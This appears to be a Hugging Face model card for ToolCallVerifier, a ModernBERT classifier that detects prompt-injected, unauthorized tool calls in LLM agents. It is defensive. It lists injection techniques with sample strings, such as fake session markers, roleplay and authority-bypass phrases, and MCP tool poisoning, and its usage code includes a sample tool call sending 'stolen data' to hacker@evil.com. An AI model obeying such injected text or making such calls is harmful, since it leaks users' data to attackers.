CoolFace
Modelpublic

rootfs/tool-call-verifier

sourceHugging Faceapache-2.0updated 9mo agoView on Hugging Face
1likes31downloads
Model Card

ToolCallVerifier - Unauthorized Tool Call Detection

<div align="center">

![License](https://opensource.org/licenses/Apache-2.0) ![Model](https://huggingface.co/answerdotai/ModernBERT-base) ![Security](https://huggingface.co/rootfs)

Stage 2 of Two-Stage LLM Agent Defense Pipeline

</div>


🎯 What This Model Does

ToolCallVerifier is a ModernBERT-based token classifier that detects unauthorized tool calls in LLM agent systems. It performs token-level classification on tool call JSON to identify malicious arguments that may have been injected through prompt injection attacks.

LabelDescription
AUTHORIZEDToken is part of a legitimate, user-requested action
UNAUTHORIZEDToken indicates injected/malicious content β€” BLOCK

πŸ“Š Performance

MetricValue
UNAUTHORIZED F193.50%
UNAUTHORIZED Precision95.01%
UNAUTHORIZED Recall92.05%
Overall Accuracy92.88%

Confusion Matrix (Token-Level)

                    Predicted
                 AUTH      UNAUTH
Actual AUTH      130,708    8,483
       UNAUTH     13,924   161,031

πŸ—‚οΈ Training Data

Trained on ~30,000 samples combining real-world attacks and synthetic patterns:

HuggingFace Datasets

DatasetDescriptionSamples
LLMail-InjectMicrosoft email injection benchmark~10,000
WildJailbreakAllen AI adversarial safety dataset~8,000
HackAPromptEMNLP'23 injection competition~5,000
JailbreakBenchHarmful behavior patterns~2,000

Synthetic Attack Generators

GeneratorDescription
AdversarialIntent-mismatch attacks (correct tool, wrong args)
FilesystemFile/directory operation attacks
NetworkNetwork/API exfiltration attacks
EmailEmail tool hijacking
FinancialTransaction manipulation
Code ExecutionCode injection attacks
AuthenticationAccess control bypass
MCP AttacksTool poisoning, shadowing, rug pulls

🚨 Attack Categories Covered

CategorySourceDescription
Delimiter InjectionLLMail<<end_context>>, >>}}\]\])
Word ObfuscationLLMailInserting noise words between tokens
Fake SessionsLLMailSTART_USER_SESSION, EXECUTE_USERQUERY
Roleplay InjectionWildJailbreak"You are an admin bot that can..."
XML Tag InjectionWildJailbreak<execute_action>, <tool_call>
Authority BypassWildJailbreak"As administrator, I authorize..."
Intent MismatchSyntheticUser asks X, tool does Y
MCP Tool PoisoningSyntheticHidden exfiltration in tool args
MCP ShadowingSyntheticFake authorization context

πŸ’» Usage

python
from transformers import AutoTokenizer, AutoModelForTokenClassification
import torch

model_name = "rootfs/tool-call-verifier"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForTokenClassification.from_pretrained(model_name)

# Example: Verify a tool call
user_intent = "Summarize my emails"
tool_call = '{"name": "send_email", "arguments": {"to": "hacker@evil.com", "body": "stolen data"}}'

# Combine for classification
input_text = f"[USER] {user_intent} [TOOL] {tool_call}"
inputs = tokenizer(input_text, return_tensors="pt", truncation=True, max_length=2048)

with torch.no_grad():
    outputs = model(**inputs)
    predictions = torch.argmax(outputs.logits, dim=-1)

id2label = {0: "AUTHORIZED", 1: "UNAUTHORIZED"}
tokens = tokenizer.convert_ids_to_tokens(inputs["input_ids"][0])
labels = [id2label[p.item()] for p in predictions[0]]

# Check for unauthorized tokens
unauthorized_tokens = [(t, l) for t, l in zip(tokens, labels) if l == "UNAUTHORIZED"]
if unauthorized_tokens:
    print("⚠️ BLOCKED: Unauthorized tool call detected!")
    print(f"   Flagged tokens: {[t for t, _ in unauthorized_tokens[:5]]}")
else:
    print("βœ… Tool call authorized")

βš™οΈ Training Configuration

ParameterValue
Base Modelanswerdotai/ModernBERT-base
Max Length512 tokens
Batch Size32
Epochs5
Learning Rate3e-5
LossCrossEntropyLoss (class-weighted)
Class Weights[0.5, 3.0] (AUTHORIZED, UNAUTHORIZED)
AttentionSDPA (Flash Attention)
HardwareAMD Instinct MI300X (ROCm)

πŸ”— Integration with FunctionCallSentinel

This model is Stage 2 of a two-stage defense pipeline:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   User Prompt   │────▢│ FunctionCallSentinel │────▢│   LLM + Tools   β”‚
β”‚                 β”‚     β”‚      (Stage 1)       β”‚     β”‚                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                              β”‚
                               β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                               β”‚           ToolCallVerifier (This Model)                 β”‚
                               β”‚   Token-level verification before tool execution        β”‚
                               β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
ScenarioRecommendation
General chatbotStage 1 only
Tool-calling agent (low risk)Stage 1 only
Tool-calling agent (high risk)Both stages
Email/file system accessBoth stages
Financial transactionsBoth stages

🎯 Intended Use

Primary Use Cases

  • β€”LLM Agent Security: Verify tool calls before execution
  • β€”Prompt Injection Defense: Detect unauthorized actions from injected prompts
  • β€”API Gateway Protection: Filter malicious tool calls at infrastructure level

Out of Scope

  • β€”General text classification
  • β€”Non-tool-calling scenarios
  • β€”Languages other than English

⚠️ Limitations

  1. 1.Tool schema dependent β€” Best performance when tool schema is included in input
  2. 2.English only β€” Not tested on other languages
  3. 3.Binary classification β€” No "suspicious" intermediate category (by design, for decisiveness)

πŸ“œ License

Apache 2.0


πŸ”— Links